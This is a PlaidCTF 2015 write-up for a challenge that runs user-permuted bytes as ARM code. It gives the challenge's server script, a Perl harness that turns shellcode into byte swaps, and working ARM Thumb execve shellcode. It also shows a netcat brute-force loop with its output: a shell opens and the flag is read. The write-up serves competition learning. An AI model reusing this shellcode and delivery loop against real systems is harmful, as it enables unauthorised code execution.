PlaidCTF 2015 - RAM (pwnable 170) Writeup
Hint:
Hree is a ctue lttile selhlcdoe challenge.
Server: 52.4.108.221 port 4444
The code provided (updated part-way through the game):
“System Message: ERROR/3 (:, line 9)” Error in “code-block” directive: unknown option: “filename”.
{language=python}
.. code-block:: python
:number-lines:
:filename: permute_33e624400463108ac96b45bc6158fa54.py
#!/usr/bin/env python2.7
import tempfile
import fcntl
import os
import sys
import time
import subprocess32 as subprocess
os.chdir("/home/problem/permute")
buf = map(chr, range(256))
while 1:
a,b = map(ord, sys.stdin.read(2))
if a == b:
break
buf[a], buf[b] = buf[b], buf[a]
from struct import pack
fn = 'submit/%d' % os.getpid()
for i in xrange(100):
try:
os.unlink(fn)
except OSError:
pass
try:
fd = os.open(fn, os.O_RDWR | os.O_EXCL | os.O_CREAT, 0711)
fcntl.fcntl(fd, fcntl.F_SETFD, fcntl.FD_CLOEXEC | fcntl.fcntl(fd, fcntl.F_GETFD))
break
except OSError:
time.sleep(0.01)
else:
print "Sorry, couldn't run your code. Try again later."
sys.exit(1)
elf = '\x7fELF' + pack('<BBBB', 1,1,1,0) # header, class=32bit, data=little, version=1, osabi=sysv
elf += pack('<8x') # pad
elf += pack('<HHI', 2, 0x28, 1) # type=exec, machine=ARM, version=1
elf += pack('<III', 0x8000, 0x34, 0) # entry, phoff, shoff
elf += pack('<IHHH', 0x5000000, 0x34, 0x20, 1) # flags, ehsize, phentsize, phnum
elf += pack('<HHH', 0x28, 0, 0) # shentsize, shnum, shstrndx
elf += pack('<IIIIIIII', 1, 0x1000, 0x8000, 0x8000, # type=LOAD, offset, vaddr, paddr
0x1000, 0x1000, 0x5, 0x1000) # filesz, memsz, flags, align
elf = elf.ljust(0x1000, '\0')
elf += ''.join(buf).ljust(0x1000, '\0')
os.write(fd, elf)
os.close(fd)
try:
p = subprocess.Popen(['/usr/bin/setsid', '/usr/bin/sudo', '-u', 'nobody', fn])
p.wait(timeout=60)
except subprocess.TimeoutExpired:
print "Timeout"
os.killpg(p.pid, 9)
p.wait()
except:
print "Sorry, submission execution failed."
finally:
os.unlink(fn)
Reading through this program, we see that if first creates a 256-element buffer, filled with the byte values 0x00 through 0xFF (line 11). It then reads in user input, two bytes at a time (line 14). If the two bytes read in are the same, it quits the loop (lines 15-16), otherwise, it swaps the two specified elements of the buffer (line 17). After finishing reading, it creates a random file (lines 21-36) and in the file, creates an ELF executable, for ARM, with the buffer as the only section and as the entry point (lines 38-51). After it’s got the ELF file, it executes it as a subprocess and user nobody (lines 52-62).
So from that, our challenge is pretty clear: we need to write shellcode for ARM, and since it’s generated by only swapping bytes, it can cannot contain any repeated bytes.
The solution largely came down to two parts: writing a harness program to generate the swap sequences to make the shellcode we want, and the development of the shellcode. While they were done in parallel during the game, I’ll explain the two parts separately here for clarity.
Harness Program
A program was needed to take a given shellcode and generate the swap sequences that the challenge script was expecting. A quick version looked like:
“System Message: ERROR/3 (:, line 86)” Error in “code-block” directive: unknown option: “filename”.
{language=python}
.. code-block:: perl
:number-lines:
:filename: solve.pl
#!/usr/bin/perl
use strict;
use warnings;
use diagnostics;
use feature 'say';
use Data::Dumper;
use Data::Hexify;
use File::Slurp;
my $offset = shift;
my @sc = split//,
# TO BE DEVELOPED LATER
'';
write_file('shellcode.bin', join '', @sc);
my @buff = (0..255);
my $out = '';
for my $i (0..$#sc)
{
my $val = ord($sc[$i]);
if($buff[$i] != $val)
{
for my $j ($i .. $#buff)
{
if($buff[$j] == $val)
{
$out .= chr($i).chr($j);
($buff[$i], $buff[$j]) = ($buff[$j], $buff[$i]);
last;
}
}
}
}
my $finalbuffer = join '', map {chr$_} @buff;
$out .= "aa";
say "attempted shellcode:";
say Hexify(join '', @sc);
say "final buffer:";
say Hexify($finalbuffer);
write_file('finalbuffer.bin', $finalbuffer);
say "output:";
print Hexify($out);
write_file('solution', $out);
This code isn’t very resilient but gets the job done. It basically takes a single pass over the shellcode and finds the desired byte further in the buffer for the swap. It will fail silently if asked to generate shellcode that repeats byte values. Later, during development of the shellcode, it became useful to have a placeholder byte, a value that signified that I don’t care what its value is, but it shouldn’t be something that’s needed elsewhere in the shellcode. I arbitrarily chose the ‘.’ (0x2e) value to be this “don’t care” byte, and the code expanded to:
“System Message: ERROR/3 (:, line 141)” Error in “code-block” directive: unknown option: “filename”.
{language=python}
.. code-block:: perl
:number-lines:
:filename: solve.pl
#!/usr/bin/perl
use strict;
use warnings;
use diagnostics;
use feature 'say';
use Data::Dumper;
use Data::Hexify;
use File::Slurp;
my $offset = shift;
my @sc = split//,
# TO BE DEVELOPED LATER
'';
write_file('shellcode.bin', join '', @sc);
my @buff = (0..255);
my $out = '';
for my $i (0..$#sc)
{
my $val = ord($sc[$i]);
if($val != ord('.'))
{
if($buff[$i] != $val)
{
for my $j (0 .. $#buff)
{
if($buff[$j] == $val && ($j > $i || $sc[$j] eq '.'))
{
$out .= chr($i).chr($j);
($buff[$i], $buff[$j]) = ($buff[$j], $buff[$i]);
last;
}
}
}
}
}
say "intermediate buffer:";
my $intermediatebuffer = join '', map {chr$_} @buff;
say Hexify($intermediatebuffer);
for my $i (0..$#sc)
{
my $val = ord($sc[$i]);
if($val == ord('.'))
{
$out .= chr($i).chr(255);
($buff[$i], $buff[255]) = ($buff[255], $buff[$i]);
}
}
my $finalbuffer = join '', map {chr$_} @buff;
$out .= "aa";
say "attempted shellcode:";
say Hexify(join '', @sc);
say "final buffer:";
say Hexify($finalbuffer);
write_file('finalbuffer.bin', $finalbuffer);
say "output:";
print Hexify($out);
write_file('solution', $out);
This code does the same initial pass as before but leaves ‘.’ bytes in place. It then takes a second pass, swapping the “don’t care” bytes with whatever unused bytes are at the end of the buffer. This code has the same failure cases as before, plus it would not generate proper code if the shellcode needed all 256 bytes (unlikely) or needed a ‘.’ byte (a condition I looked out for).
Shellcode
I started by attempting to modify existing ARM shellcode available from shell-storm, but this quickly proved to be a bad approach. After all, most of the relevant short shellcode boiled down to exec("/bin/sh") and “/bin/sh” has two slashes in it.
It was obvious however that actual shellcode is much more resilient than what I needed. I knew the address my shellcode would be loaded at, so position independence wasn’t needed. I also knew it was the entry point of the program. It was then that a teammate recommended figuring out what the state of the system looked like at the beginning of the shellcode.
Not wanting to deal with getting a qemu setup running, I transferred one of the locally-generated ELF files to our team’s Raspberry Pi and loaded it up in GDB. Setting a breakpoint at 0x8000 (the entrypoint), the registers and stack looked promising (with awesome context provided by Peda):
{language=python}
[---------------------------------------------------------registers---------------------------------------------------------]
SP : 0xbefffbc0 --> 0x1
R0 : 0x0
R1 : 0xbefffce9 ("/home/pi/permut"...)
R2 : 0x0
R3 : 0x0
R4 : 0x0
R5 : 0x0
R6 : 0x0
R7 : 0x0
R8 : 0x0
R9 : 0x0
R10: 0x0
R11: 0x0
R12: 0x0
CPSR: 0x10
[-----------------------------------------------------------stack-----------------------------------------------------------]
00:0000| sp 0xbefffbc0 --> 0x1
01:0004| 0xbefffbc4 --> 0xbefffce9 ("/home/pi/permut"...)
02:0008| 0xbefffbc8 --> 0x0
03:0012| 0xbefffbcc --> 0xbefffcfa ("LESS_TERMCAP_mb"...)
04:0016| 0xbefffbd0 --> 0xbefffd13 ("LESS_TERMCAP_md"...)
05:0020| 0xbefffbd4 --> 0xbefffd31 ("LESS_TERMCAP_me"...)
06:0024| 0xbefffbd8 --> 0xbefffd46 ("SHELL=/bin/bash")
07:0028| 0xbefffbdc --> 0xbefffd56 ("TERM=rxvt-unico"...)
[---------------------------------------------------------------------------------------------------------------------------
Here we can see that argv[0] is on the stack and pointed to by R1, and the environment is located just after that on the stack… including the helpful SHELL environment variable. Using this, the shellcode generated would increment R1 and the stack values to get a pointer to /bin/bash in R0 for an exec syscall. Through a lot of trial and error, my shellcode eventually looked like this:
“System Message: ERROR/3 (:, line 249)” Error in “code-block” directive: unknown option: “filename”.
{language=python}
.. code-block:: perl
:number-lines:
:filename: solve.pl
my @sc = split//,
"\x09\x70\x8f\xe2" . # add r7, pc, #9
"\x17\xff\x2f\xe1" . # bx r7
".." . # spacer
".." . # spacer
".." . # spacer
".." . # spacer
# FOR STRACE
#"\x67\x31" . # adds r1, #103 ; 0x67
# FOR GDB
#"\x63\x31" . # adds r1, #99 ; 0x63
chr($offset)."\x31" . # adds r1, $offset
"\x08\x1c" . # adds r0, r1, #0
"\x49\x1a" . # subs r1, r1, r1
"\x0b\x27" . # movs r7, #11
"\x01\xdf" . # svc 1
'';
Of particular note: the code starts with a jump to Thumb mode (lines 2-3). The standard code to do this adds #1 to pc, but I needed that 0x01 byte for the svc instruction for the syscall. I needed 0x05 at some point in development, and eventually settled on adding #9 to pc. The register used for this also changed several times to avoid using certain bytes. The spacer bytes (lines 5-8) are jumped over when jumping to Thumb, so they can be any values. The adds of r1 (lines 10-14) change r1 to point to the beginning of the SHELL environment variable. The values changed whether I was running in GDB or trying to strace, and I knew it would be unpredictable on the game server, so it was replaced with a variable. There were plenty of values for this variable that would cause the script to fail (other bytes from the shellcode, ‘.') but that was a problem that could be looked at if it came up. The next adds (line 16) is really just a mov to r0 (the first parameter to the execve syscall) without using the instruction byte needed later. The subs (line 17) clears the value of r1, giving execve a NULL argv, and the final movs (line 18) puts 11 in r7 to specify the execve syscall made with the svc instruction (line 19).
The final step was just bruteforcing the value of offset from the 256 possibilities and hoping that it wouldn’t be one of the bytes that would cause the script to break.
{language=python}
$ for a in {0..255} ; do ./solve.pl $a ; echo "=================" ; echo OFFSET $a ; cat solution /dev/tty | nc -vvvvvvv 52.4.108.221 4444 ; echo "====================" ; done
...
====================
intermediate buffer:
0000: 09 70 8f e2 17 ff 2f e1 12 00 0a 16 0c 0d 0e 0f .p..../.........
0010: b0 31 08 1c 49 1a 0b 27 01 df 15 1b 13 1d 1e 1f .1..I..'........
0020: 20 21 22 23 24 25 26 04 28 29 2a 2b 2c 2d 2e 06 !"#$%&.()*+,-..
0030: 30 11 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 0.23456789:;<=>?
0040: 40 41 42 43 44 45 46 47 48 14 4a 4b 4c 4d 4e 4f @ABCDEFGH.JKLMNO
0050: 50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f PQRSTUVWXYZ[\]^_
0060: 60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f `abcdefghijklmno
0070: 18 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f .qrstuvwxyz{|}~.
0080: 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 02 ................
0090: 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f ................
00a0: a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af ................
00b0: 10 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf ................
00c0: c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf ................
00d0: d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de 19 ................
00e0: e0 07 03 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef ................
00f0: f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe 05 ................
attempted shellcode:
0000: 09 70 8f e2 17 ff 2f e1 2e 2e 2e 2e 2e 2e 2e 2e .p..../.........
0010: b0 31 08 1c 49 1a 0b 27 01 df .1..I..'..
final buffer:
0000: 09 70 8f e2 17 ff 2f e1 05 12 00 0a 16 0c 0d 0e .p..../.........
0010: b0 31 08 1c 49 1a 0b 27 01 df 15 1b 13 1d 1e 1f .1..I..'........
0020: 20 21 22 23 24 25 26 04 28 29 2a 2b 2c 2d 2e 06 !"#$%&.()*+,-..
0030: 30 11 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 0.23456789:;<=>?
0040: 40 41 42 43 44 45 46 47 48 14 4a 4b 4c 4d 4e 4f @ABCDEFGH.JKLMNO
0050: 50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f PQRSTUVWXYZ[\]^_
0060: 60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f `abcdefghijklmno
0070: 18 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f .qrstuvwxyz{|}~.
0080: 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 02 ................
0090: 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f ................
00a0: a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af ................
00b0: 10 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf ................
00c0: c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf ................
00d0: d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de 19 ................
00e0: e0 07 03 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef ................
00f0: f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe 0f ................
output:
0000: 00 09 01 70 02 8f 03 e2 04 17 05 ff 06 2f 07 e1 ...p........./..
0010: 10 b0 11 31 12 08 13 1c 14 49 15 1a 16 0b 17 27 ...1.....I.....'
0020: 18 70 19 df 08 ff 09 ff 0a ff 0b ff 0c ff 0d ff .p..............
0030: 0e ff 0f ff 61 61 ....aa
=================
OFFSET 176
ec2-52-4-108-221.compute-1.amazonaws.com [52.4.108.221] 4444 (krb524) open
id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
ls
flag.txt
permute.py
submit
cat flag.txt
flag{shellcode_with_the_colors_of_the_rainbow_db43044f}
P.S. It wasn’t until writing this up, a week later, that I realized that RAM, the name of this challenge, is an anagram of ARM…